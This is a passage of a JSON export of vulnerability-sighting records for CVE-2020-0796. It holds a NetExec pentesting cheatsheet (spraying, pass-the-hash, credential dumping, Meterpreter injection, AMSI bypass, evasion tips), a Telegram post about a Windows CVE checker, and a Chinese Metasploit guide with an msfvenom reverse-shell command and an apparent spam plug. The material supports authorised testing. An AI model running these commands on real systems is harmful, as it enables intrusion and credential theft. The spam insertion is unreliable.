signing/binding\nnxc ldap 192.168.1.10 -u user -p pass -M maq                       # MachineAccountQuota\nnxc ldap 192.168.1.10 -u user -p pass -M obsolete                  # Obsolete OS\nnxc ldap 192.168.1.10 -u user -p pass -M pre2k                     # Pre-created accounts\nnxc ldap 192.168.1.10 -u user -p pass -M pso                       # Password policies\nnxc ldap 192.168.1.10 -u user -p pass -M sccm                      # SCCM infrastructure\nnxc ldap 192.168.1.10 -u user -p pass -M subnets                   # Sites and subnets\nnxc ldap 192.168.1.10 -u user -p pass -M user-desc                 # User descriptions\nnxc ldap 192.168.1.10 -u user -p pass -M whoami                    # Current user details\n```\n\n---\n\n## WinRM Protocol (Port 5985/5986)\n\n### Basic Usage\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass\nnxc winrm 192.168.1.10 -u admin -H \nnxc winrm 192.168.1.10 -u admin -p pass -d DOMAIN\nnxc winrm 192.168.1.10 -u admin -p pass --local-auth\nnxc winrm 192.168.1.10 -u admin -p pass --laps                     # LAPS auth\n```\n\n### Port Configuration\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass --port 5985                # HTTP only\nnxc winrm 192.168.1.10 -u admin -p pass --port 5986                # HTTPS only\nnxc winrm 192.168.1.10 -u admin -p pass --port 5985 5986           # Both ports\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto http         # HTTP only\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto https        # HTTPS only\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto http https   # Both protocols\nnxc winrm 192.168.1.10 -u admin -p pass --http-timeout 15          # Timeout\n```\n\n### Command Execution\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass -x \"whoami\"\nnxc winrm 192.168.1.10 -u admin -p pass -X '$PSVersionTable'\nnxc winrm 192.168.1.10 -u admin -p pass -x \"ipconfig /all\"\nnxc winrm 192.168.1.10 -u admin -p pass --no-output -x \"command\"\n```\n\n### Credential Dumping\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass --sam                      # Dump SAM\nnxc winrm 192.168.1.10 -u admin -p pass --lsa                      # Dump LSA\nnxc winrm 192.168.1.10 -u admin -p pass --dump-method cmd          # Using cmd\nnxc winrm 192.168.1.10 -u admin -p pass --dump-method powershell   # Using PowerShell\n```\n\n### WinRM Modules\n```bash\n# No modules available for WinRM protocol in current version\n```\n\n---\n\n## SSH Protocol (Port 22)\n\n### Authentication\n```bash\nnxc ssh 192.168.1.10 -u root -p password\nnxc ssh 192.168.1.10 -u root -p passwords.txt\nnxc ssh 192.168.1.10 -u root --key-file id_rsa\nnxc ssh 192.168.1.10 -u root --key-file id_rsa -p passphrase\nnxc ssh 192.168.1.10 -u users.txt -p passwords.txt\nnxc ssh 192.168.1.10 -u root -p pass --port 2222\nnxc ssh 192.168.1.10 -u root -p pass --ssh-timeout 20\n```\n\n### Command Execution\n```bash\nnxc ssh 192.168.1.10 -u root -p pass -x \"cat /etc/passwd\"\nnxc ssh 192.168.1.10 -u root -p pass -x \"uname -a\"\nnxc ssh 192.168.1.10 -u root -p pass -x \"id\"\nnxc ssh 192.168.1.10 -u root -p pass --no-output -x \"command\"\n```\n\n### Sudo Operations\n```bash\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check                  # Check sudo privs\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check-method sudo-stdin\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check-method mkfifo\nnxc ssh 192.168.1.10 -u user -p pass --get-output-tries 10\n```\n\n### File Operations\n```bash\nnxc ssh 192.168.1.10 -u root -p pass --put-file local.txt /tmp/remote.txt\nnxc ssh 192.168.1.10 -u root -p pass --get-file /etc/passwd ./passwd.txt\n```\n\n### SSH Modules\n```bash\n# No modules available for SSH protocol in current version\n```\n\n---\n\n## RDP Protocol (Port 3389)\n\n### Check Access\n```bash\nnxc rdp 192.168.1.10 -u admin -p password\nnxc rdp 192.168.1.10 -u admin -H \nnxc rdp 192.168.1.10 -u users.txt -p passwords.txt -d DOMAIN\nnxc rdp 192.168.1.10 -u admin -p pass --local-auth\nnxc rdp 192.168.1.10 -u admin -p pass --port 3390\nnxc rdp 192.168.1.10 -u admin -p pass --rdp-timeout 10\n```\n\n### Screenshots\n```bash\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot --screentime 10\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot --res 1920x1080\nnxc rdp 192.168.1.10 -u admin -p pass --nla-screenshot             # If NLA disabled\n```\n\n### RDP Modules\n```bash\n# No modules available for RDP protocol in current version\n```\n\n---\n\n## MSSQL Protocol (Port 1433)\n\n### Authentication\n```bash\nnxc mssql 192.168.1.10 -u sa -p password\nnxc mssql 192.168.1.10 -u sa -p password --local-auth\nnxc mssql 192.168.1.10 -u user -p pass -d DOMAIN\nnxc mssql 192.168.1.10 -u user -p pass -d DOMAIN -k              # Kerberos\nnxc mssql 192.168.1.10 -u sa -H \nnxc mssql 192.168.1.10 -u sa -p pass --port 1434\nnxc mssql 192.168.1.10 -u sa -p pass --mssql-timeout 10\n```\n\n### Queries\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT @@version\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT name FROM sys.databases\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT name FROM sys.server_principals\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"EXEC sp_helprotect\"\n```\n\n### Command Execution\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -x \"whoami\"                 # via xp_cmdshell\nnxc mssql 192.168.1.10 -u sa -p pass -X 'Get-Host'               # PowerShell\nnxc mssql 192.168.1.10 -u sa -p pass --no-output -x \"command\"\n```\n\n### PowerShell Options\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --force-ps32\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --obfs\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --amsi-bypass bypass.ps1\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --no-encode\nnxc mssql 192.168.1.10 -u sa -p pass --clear-obfscripts\n```\n\n### File Operations\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass --put-file local.txt C:\\\\Temp\\\\remote.txt\nnxc mssql 192.168.1.10 -u sa -p pass --get-file C:\\\\Temp\\\\file.txt ./local.txt\n```\n\n### Enumeration\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass --rid-brute                  # RID bruteforce\nnxc mssql 192.168.1.10 -u sa -p pass --rid-brute 5000\n```\n\n### MSSQL Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc mssql 192.168.1.10 -u user -p pass -M enum_impersonate        # Impersonation privs\nnxc mssql 192.168.1.10 -u user -p pass -M enum_logins             # SQL logins\nnxc mssql 192.168.1.10 -u user -p pass -M exec_on_link            # Execute on linked server\nnxc mssql 192.168.1.10 -u user -p pass -M link_enable_xp          # Enable xp_cmdshell on link\nnxc mssql 192.168.1.10 -u user -p pass -M link_xpcmd              # Run xp_cmdshell on link\nnxc mssql 192.168.1.10 -u user -p pass -M mssql_coerce            # Execute arbitrary SQL\nnxc mssql 192.168.1.10 -u user -p pass -M mssql_priv              # Enumerate/exploit privs\n```\n\n#### HIGH PRIVILEGE MODULES\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -M empire_exec               # Empire agent\nnxc mssql 192.168.1.10 -u sa -p pass -M enum_links                # Enumerate linked servers\nnxc mssql 192.168.1.10 -u sa -p pass -M met_inject                # Meterpreter injection\nnxc mssql 192.168.1.10 -u sa -p pass -M nanodump                  # LSASS dump\nnxc mssql 192.168.1.10 -u sa -p pass -M test_connection           # Test connectivity\nnxc mssql 192.168.1.10 -u sa -p pass -M web_delivery              # Web delivery\n```\n\n---\n\n## FTP Protocol (Port 21)\n\n### Authentication\n```bash\nnxc ftp 192.168.1.10 -u admin -p password\nnxc ftp 192.168.1.10 -u anonymous -p ''\nnxc ftp 192.168.1.10 -u users.txt -p passwords.txt\nnxc ftp 192.168.1.10 -u admin -p pass --port 2121\n```\n\n### File Operations\n```bash\nnxc ftp 192.168.1.10 -u admin -p pass --ls                        # List root\nnxc ftp 192.168.1.10 -u admin -p pass --ls /var/www\nnxc ftp 192.168.1.10 -u admin -p pass --get file.txt\nnxc ftp 192.168.1.10 -u admin -p pass --put local.txt remote.txt\n```\n\n### FTP Modules\n```bash\n# No modules available for FTP protocol in current version\n```\n\n---\n\n## VNC Protocol (Port 5900)\n\n### Authentication\n```bash\nnxc vnc 192.168.1.10 -u admin -p password\nnxc vnc 192.168.1.10 -u admin -p passwords.txt\nnxc vnc 192.168.1.10 -u admin -p pass --port 5901\nnxc vnc 192.168.1.10 -u admin -p pass --vnc-sleep 5               # Rate limiting\n```\n\n### Screenshot\n```bash\nnxc vnc 192.168.1.10 -u admin -p pass --screenshot\nnxc vnc 192.168.1.10 -u admin -p pass --screenshot --screentime 5\n```\n\n### VNC Modules\n```bash\n# No modules available for VNC protocol in current version\n```\n\n---\n\n## NFS Protocol (Port 111)\n\n### Enumeration\n```bash\nnxc nfs 192.168.1.10                                               # Basic enumeration\nnxc nfs 192.168.1.10 --shares                                      # List shares\nnxc nfs 192.168.1.10 --enum-shares                                 # Enumerate shares (depth 3)\nnxc nfs 192.168.1.10 --enum-shares 5                               # Custom depth\nnxc nfs 192.168.1.10 --port 2049\nnxc nfs 192.168.1.10 --nfs-timeout 10\n```\n\n### Share Operations\n```bash\nnxc nfs 192.168.1.10 --share /export --ls                          # List share root\nnxc nfs 192.168.1.10 --share /export --ls /path/to/dir\nnxc nfs 192.168.1.10 --share /export --get-file remote.txt local.txt\nnxc nfs 192.168.1.10 --share /export --put-file local.txt remote.txt\n```\n\n### NFS Modules\n```bash\n# No modules available for NFS protocol in current version\n```\n\n---\n\n## WMI Protocol (Port 135)\n\n### Basic Usage\n```bash\nnxc wmi 192.168.1.10 -u admin -p password\nnxc wmi 192.168.1.10 -u admin -H \nnxc wmi 192.168.1.10 -u admin -p pass -d DOMAIN\nnxc wmi 192.168.1.10 -u admin -p pass --local-auth\nnxc wmi 192.168.1.10 -u admin -p pass --rpc-timeout 5\n```\n\n### WMI Queries\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Process\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Service\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_ComputerSystem\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi-namespace \"root\\cimv2\"\n```\n\n### Command Execution\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec-event -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-timeout 10\nnxc wmi 192.168.1.10 -u admin -p pass --no-output -x \"command\"\n```\n\n### WMI Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc wmi 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces\nnxc wmi 192.168.1.10 -u user -p pass -M spooler                    # Print spooler\nnxc wmi 192.168.1.10 -u user -p pass -M zerologon                  # Zerologon check\n```\n\n#### HIGH PRIVILEGE MODULES\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status\nnxc wmi 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records\nnxc wmi 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections\nnxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP\nnxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP\n```\n\n---\n\n## General Flags & Options\n\n### Threading & Performance\n```bash\n-t 256                       # Number of threads (default: 256)\n--timeout 10                 # Connection timeout in seconds\n--jitter 5                   # Random delay between requests (seconds)\n```\n\n### Output & Logging\n```bash\n--verbose                    # Verbose output\n--debug                      # Debug mode\n--log output.log             # Save output to file\n--no-progress                # Disable progress bar\n```\n\n### DNS Options\n```bash\n-6                           # Force IPv6\n--dns-server 8.8.8.8         # Custom DNS server\n--dns-tcp                    # Use TCP for DNS queries\n--dns-timeout 3              # DNS timeout in seconds\n```\n\n### Credential Database\n```bash\n-id 1                        # Use credential ID from database\n-id 1 2 3                    # Use multiple credential IDs\n```\n\n### Server Options\n```bash\n--server https               # Use HTTPS server (default)\n--server http                # Use HTTP server\n--server-host 0.0.0.0        # Bind server to IP\n--server-port 8000           # Server port\n--connectback-host IP        # Connectback IP for remote system\n```\n\n### Database\n```bash\ncmedb                        # Access NXC database\nexport smb                   # Export SMB results\n```\n\n### Modules\n```bash\nnxc smb -L                              # List all SMB modules\nnxc smb -M  --options           # Show module options\n```\n\n---\n\n## Common Attack Workflows\n\n### 1. Initial Enumeration\n```bash\n# Find hosts and check SMB signing\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt\n\n# Anonymous/Guest enumeration\nnxc smb 192.168.1.0/24 -u '' -p ''\nnxc smb 192.168.1.0/24 -u 'guest' -p ''\n\n# Check multiple protocols\nnxc smb 192.168.1.0/24\nnxc rdp 192.168.1.0/24 -u '' -p ''\nnxc winrm 192.168.1.0/24 -u '' -p ''\n```\n\n### 2. Password Spraying\n```bash\n# Single password spray (safe)\nnxc smb targets.txt -u users.txt -p 'Winter2024!' -d DOMAIN --continue-on-success\n\n# With fail limits\nnxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3 --fail-limit 5\n\n# Check valid creds across multiple protocols\nnxc smb 192.168.1.10 -u admin -p pass\nnxc winrm 192.168.1.10 -u admin -p pass\nnxc mssql 192.168.1.10 -u admin -p pass\nnxc rdp 192.168.1.10 -u admin -p pass\n```\n\n### 3. Credential Dumping\n```bash\n# Local SAM\nnxc smb 192.168.1.10 -u admin -p pass --sam\n\n# LSASS memory\nnxc smb 192.168.1.10 -u admin -p pass -M lsassy\nnxc smb 192.168.1.10 -u admin -p pass -M nanodump\n\n# Domain Controller NTDS\nnxc smb dc01.domain.local -u admin -p pass --ntds\nnxc smb dc01.domain.local -u admin -p pass --ntds --enabled\n\n# DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi cookies\n```\n\n### 4. Domain Enumeration\n```bash\n# Users and groups\nnxc ldap dc01.domain.local -u user -p pass --users --groups\n\n# Kerberoastable accounts\nnxc ldap dc01.domain.local -u user -p pass --kerberoasting kerberoast.txt\n\n# ASREProastable accounts\nnxc ldap dc01.domain.local -u user -p pass --asreproast asrep.txt\n\n# Bloodhound data\nnxc ldap dc01.domain.local -u user -p pass --bloodhound -c All\n\n# Find vulnerabilities\nnxc ldap dc01.domain.local -u user -p pass -M adcs\nnxc ldap dc01.domain.local -u user -p pass -M laps\n```\n\n### 5. Lateral Movement\n```bash\n# Pass-the-Hash\nnxc smb targets.txt -u admin -H  -x \"hostname\"\n\n# Execute on multiple targets\nnxc smb targets.txt -u admin -p pass -x \"whoami\"\nnxc winrm targets.txt -u admin -p pass -x \"ipconfig\"\n\n# Spray hashes\nnxc smb targets.txt -u users.txt -H hashes.txt --continue-on-success\n```\n\n### 6. Post-Exploitation\n```bash\n# Persistence\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable\nnxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable\n\n# Credential hunting\nnxc smb 192.168.1.10 -u admin -p pass -M spider_plus\nnxc smb 192.168.1.10 -u admin -p pass -M gpp_password\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_discover\n\n# Application credentials\nnxc smb 192.168.1.10 -u admin -p pass -M putty\nnxc smb 192.168.1.10 -u admin -p pass -M winscp\nnxc smb 192.168.1.10 -u admin -p pass -M wifi\n```\n\n---\n\n## Tips & Best Practices\n\n- Use `--continue-on-success` for password spraying to find all valid credentials\n- Use `--no-bruteforce` to stop after first valid credential per host (avoid lockouts)\n- Add `--jitter` to introduce random delays and avoid detection\n- Use `--ufail-limit` and `--fail-limit` to prevent account lockouts\n- Check SMB signing with basic scan before relay attacks\n- Use LDAP for domain enumeration (less noisy than SMB)\n- Pass-the-Hash only needs NTLM hash (not LM)\n- Always specify `-d DOMAIN` or `--local-auth` explicitly\n- Use `cmedb` to review all findings in the database\n- Module options: `-M module_name -o OPTION=value`\n- Rate limit yourself to avoid account lockouts and detection\n- Use `--no-progress` when logging output to files\n- Test authentication across multiple protocols (SMB, WinRM, RDP, MSSQL)\n\n---\n\n## Resources\n\n- **GitHub**: https://github.com/Pennyw0rth/NetExec\n- **Wiki**: https://www.netexec.wiki/\n- **Modules**: https://www.netexec.wiki/getting-started/using-modules", "creation_timestamp": "2026-08-17T09:13:41.869074Z"}, {"uuid": "52967f5e-8f56-4e02-9cbc-d2de58599316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/wh_lab/59", "content": "\ud83d\uddbc\ufe0f \ud83d\udd04 Moriarty v1.2\n\n\u0427\u0435\u043a\u0435\u0440 CVEs \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 C# \u0434\u043b\u044f \u041e\u0421 \ud83c\udfe0 Windows\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\n\nWindows 10 (Versions: 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H1, 22H2)\nWindows 11 (Versions: 21H2, 22H1, 22H2, 23H1)\nWindows Server 2016, 2019, 2022\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (35):\n\nMS10-015\nMS10-092\nMS13-053\nMS13-081\nMS14-058\nMS15-051\nMS15-078\nMS16-016\nMS16-032\nMS16-034\nMS16-135\nCVE-2017-7199\nCVE-2019-0836\nCVE-2019-0836\nCVE-2019-1064\nCVE-2019-1130\nCVE-2019-1253\nCVE-2019-1315\nCVE-2019-1385\nCVE-2019-1388\nCVE-2019-1405\nCVE-2020-0668\nCVE-2020-0683\nCVE-2020-0796\nCVE-2020-1013\nCVE-2020-1013\nCVE-2021-26855\nCVE-2021-26857\nCVE-2021-26858\nCVE-2021-27065\nCVE-2021-44228\nCVE-2021-36934\nCVE-2022-40140\nCVE-2022-22965\nCVE-2023-36664\n\n1.2 added:\n2023-23397\n2022-34718\n\n\ud83d\udc49 \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u043e\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u043e CVE\n\n!poc CVE-2019-1064\n\n\ud83d\udcbb Home\n\n\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Visual Studio \u0438 .NET Framework 4.8 Developer Pack\n\n#moriarty #checker #csharp\n\n\u2708\ufe0f Whitehat Lab", "creation_timestamp": "2026-08-06T00:00:43.475681Z"}, {"uuid": "9097254c-4c5b-40df-a2b0-ae297544e7f0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a38e91be-7c98-44e8-95a4-6faa7dd992f2", "content": "", "creation_timestamp": "2026-06-19T12:47:39.017479Z"}, {"uuid": "15ed9bf1-997e-4602-b803-9d296a1439a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/zuwant3/20bc55344a737b9f67b77ad37ffddf1b", "content": "# \u65e0\u5751\u90e8\u7f72 Metasploit\uff1a\u4ece\u96f6\u5230\u80fd\u8dd1\n\n\u641e\u6e17\u900f\u6d4b\u8bd5\uff0cMetasploit \u51e0\u4e4e\u662f\u7ed5\u4e0d\u5f00\u7684\u5de5\u5177\u3002\u8fd9\u7bc7\u4e3b\u8981\u8bb2\u600e\u4e48\u5728\u5e72\u51c0\u7684\u7cfb\u7edf\u4e0a\u642d\u8d77\u6765\uff0c\u987a\u5e26\u804a\u804a\u5bb9\u6613\u7ffb\u8f66\u7684\u5730\u65b9\u3002\n\n## \u7248\u672c\u517c\u5bb9\u6027\n\n\u88c5\u4e4b\u524d\u5148\u770b\u7cfb\u7edf\u3002Ubuntu 20.04/22.04 \u548c Debian 11/12 \u6700\u7a33\uff0c\u7528 `apt` \u5b89\u88c5\u7684\u7248\u672c\u4e00\u822c\u6bd4\u8f83\u65b0\u3002\u4f46\u6ce8\u610f\uff0cKali \u81ea\u5e26\u7684\u662f\u6eda\u52a8\u7248\uff0c\u65e5\u5e38\u7528\u6ca1\u95ee\u9898\uff0c\u53ea\u662f\u5076\u5c14\u4f1a\u8e29\u5230\u4f9d\u8d56\u51b2\u7a81\u7684\u5751\u3002\n\n## \u5b89\u5168\u8003\u8651\n\n\u522b\u7528 root \u8dd1\u3002Metasploit \u7684 payload \u751f\u6210\u548c handler \u76d1\u542c\u9700\u8981\u666e\u901a\u7528\u6237\u6743\u9650\uff0croot \u8dd1\u53cd\u800c\u4f1a\u89e6\u53d1\u67d0\u4e9b\u7cfb\u7edf\u9632\u62a4\u3002\u53e6\u5916\uff0c\u751f\u4ea7\u73af\u5883\u4e0a\u88c5\u5b8c\u8bb0\u5f97\u6539\u9ed8\u8ba4\u6570\u636e\u5e93\u5bc6\u7801\u3002\n\n## \u6838\u5fc3\u6982\u5ff5\n\n\u6a21\u5757\u5316\u7684\u6846\u67b6\u3002exploit\u3001payload\u3001auxiliary\u3001post \u8fd9\u4e9b\u76ee\u5f55\u5404\u53f8\u5176\u804c\u3002\u7406\u89e3 `LHOST` \u548c `LPORT` \u7684\u610f\u4e49\u6bd4\u80cc\u547d\u4ee4\u91cd\u8981\uff0c\u5f88\u591a\u65b0\u4eba\u5361\u5728\u53cd\u5411\u8fde\u63a5\u4e0a\u5c31\u662f\u56e0\u4e3a\u8fd9\u4e24\u4e2a\u6ca1\u914d\u5bf9\u3002\n\n## \u5e38\u89c1\u95ee\u9898\n\n\u88c5\u5b8c\u8dd1 `msfconsole` \u62a5\u6570\u636e\u5e93\u8fde\u4e0d\u4e0a\uff1f\u591a\u534a\u662f PostgreSQL \u6ca1\u542f\u52a8\u3002\u68c0\u67e5 `systemctl status postgresql`\uff0c\u518d\u8dd1 `msfdb init` \u91cd\u5efa\u3002\u8fd8\u6709\u4e2a\u5751\u662f Ruby \u7248\u672c\u592a\u65e7\uff0cMetasploit 6 \u4ee5\u4e0a\u9700\u8981 Ruby 2.7+\u3002\n\n## \u8fdb\u9636\u7528\u6cd5\n\n\u8d44\u6e90\u811a\u672c\u5f88\u597d\u7528\u3002\u5199\u4e2a `.rc` \u6587\u4ef6\uff0c\u628a `use exploit/multi/handler`\u3001`set PAYLOAD windows/x64/meterpreter/reverse_tcp` \u8fd9\u4e9b\u547d\u4ee4\u653e\u8fdb\u53bb\uff0c\u6bcf\u6b21\u542f\u52a8\u76f4\u63a5 `-r script.rc` \u52a0\u8f7d\u3002\n\n## \u5de5\u5177\u7247\u6bb5\n\n\u4e0a\u9762\u63d0\u5230\u8d44\u6e90\u811a\u672c\uff0c\u5176\u5b9e\u4e5f\u53ef\u4ee5\u7528 Lua \u5199\u8f85\u52a9\u811a\u672c\u6765\u5b9a\u4e49\u6570\u636e\u7ed3\u6784\u3002\u4e0b\u9762\u8fd9\u4e2a\u7c7b\u578b\u5b9a\u4e49\u63cf\u8ff0\u4e86\u4e00\u4e2a\u7b80\u5355\u7684\u6f0f\u6d1e\u626b\u63cf\u7ed3\u679c\u6761\u76ee\uff1a\n\n```lua\n-- Vulnerability scan result entry\nlocal vuln_entry = {\n  ip = \"192.168.1.1\",\n  port = 445,\n  protocol = \"tcp\",\n  service = \"smb\",\n  cve = \"CVE-2020-0796\",\n  risk_level = \"high\",\n  confirmed = false,\n  notes = \"SMBv3 compression vulnerability\"\n}\n```\n\n`confirmed` \u5b57\u6bb5\u6807\u8bb0\u662f\u5426\u5df2\u4eba\u5de5\u9a8c\u8bc1\uff0c\u907f\u514d\u5168\u81ea\u52a8\u626b\u63cf\u7684\u8bef\u62a5\u6c61\u67d3\u7ed3\u679c\u3002`notes` \u91cc\u53ef\u4ee5\u5199\u4e34\u65f6\u5907\u6ce8\uff0c\u65b9\u4fbf\u56e2\u961f\u534f\u4f5c\u65f6\u5bf9\u9ad8\u5371\u6f0f\u6d1e\u505a\u6807\u8bb0\u3002\n\n## \u5bf9\u6bd4\u66ff\u4ee3\u65b9\u6848\n\n\u8ddf Cobalt Strike \u6bd4\uff0cMetasploit \u5f00\u6e90\u514d\u8d39\u3001\u793e\u533a\u5e9e\u5927\uff0c\u4f46\u540e\u671f\u6743\u9650\u7ef4\u6301\u548c\u56e2\u961f\u534f\u4f5c\u529f\u80fd\u5f31\u4e00\u4e9b\u3002\u8ddf Empire \u6bd4\uff0cMetasploit \u7684 exploit \u5e93\u66f4\u5168\uff0c\u4f46 Empire \u7684 PowerShell payload \u5728 Windows \u73af\u5883\u4e0b\u66f4\u9690\u853d\u3002\n\n## \u8c03\u8bd5\u9a8c\u8bc1\n\n\u88c5\u5b8c\u8dd1 `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > test.elf` \u751f\u6210\u4e00\u4e2a\u6d4b\u8bd5 payload\uff0c\u518d\u7528 `msfconsole` \u5f00 handler\uff0c\u770b\u80fd\u5426\u6210\u529f\u5efa\u7acb\u8fde\u63a5\u3002\u5982\u679c\u6536\u4e0d\u5230 session\uff0c\u5148\u68c0\u67e5\u9632\u706b\u5899\u548c SELinux\u3002\u5173\u4e8e\u8fd9\u4e9b\u57fa\u7840\u64cd\u4f5c\uff0c\u76db\u4e16\u4f53\u80b2 \u4e0a\u6709\u4e9b\u793e\u533a\u6574\u7406\u7684\u7b14\u8bb0\u53ef\u4ee5\u53c2\u8003\uff0c\u867d\u7136\u4e0d\u662f\u4e13\u95e8\u7684\u5b89\u5168\u7ad9\uff0c\u4f46\u73af\u5883\u914d\u7f6e\u601d\u8def\u662f\u901a\u7684\u3002\n\n\u6700\u540e\u5f3a\u8c03\uff1a\u6d4b\u8bd5\u73af\u5883\u5efa\u8bae\u7528\u865a\u62df\u673a\u9694\u79bb\uff0c\u522b\u5728\u771f\u5b9e\u751f\u4ea7\u7f51\u4e71\u641e\u3002\n", "creation_timestamp": "2026-06-22T11:58:49.000000Z"}, {"uuid": "8d94343f-496a-43b6-8865-8bf48dd3c7e3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/73f4e564-2ffa-49e6-80ee-2067ddf83743", "content": "", "creation_timestamp": "2026-06-23T14:04:56.727925Z"}, {"uuid": "b0d94641-15ae-4514-92fd-13b3ca8923b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/fmbsg/7d359d27824629ac4c07ad40ce77d81a", "content": "# NXC (NetExec) Cheatsheet\n\nComplete reference for NetExec (NXC) - the network execution tool for pentesting\n\n> **Version Note**: This cheatsheet is based on the latest NetExec version. Always check `nxc  --help` and `nxc  -L` for your specific version.\n\n## Installation\n```bash\npipx install netexec\n# or\napt install netexec\n```\n\n## Basic Syntax\n\n`nxc   -u  -p  / -H  [flags] -M  -o `\n\n---\n\n## Protocols Overview\n\n- `smb` - SMB/CIFS (Port 445)\n- `ldap` - LDAP (Port 389/636)\n- `winrm` - WinRM (Port 5985/5986)\n- `ssh` - SSH (Port 22)\n- `rdp` - RDP (Port 3389)\n- `mssql` - Microsoft SQL Server (Port 1433)\n- `ftp` - FTP (Port 21)\n- `wmi` - WMI (Port 135)\n- `vnc` - VNC (Port 5900)\n- `nfs` - NFS (Port 111)\n\n---\n\n## Target Specification\n```bash\nnxc smb 192.168.1.10                    # Single host\nnxc smb 192.168.1.0/24                  # CIDR range\nnxc smb 192.168.1.1-100                 # Range\nnxc smb targets.txt                     # File with targets (one per line)\n```\n\n---\n\n## Password Spraying\n\n### Pattern: protocol targets.txt users.txt passwords.txt\n\n```bash\n# Domain authentication (default)\nnxc smb targets.txt -u users.txt -p passwords.txt -d DOMAIN\n\n# Local authentication\nnxc smb targets.txt -u users.txt -p passwords.txt --local-auth\n\n# Continue on success (don't stop after first valid)\nnxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success\n\n# Stop on first success per target\nnxc smb targets.txt -u users.txt -p passwords.txt 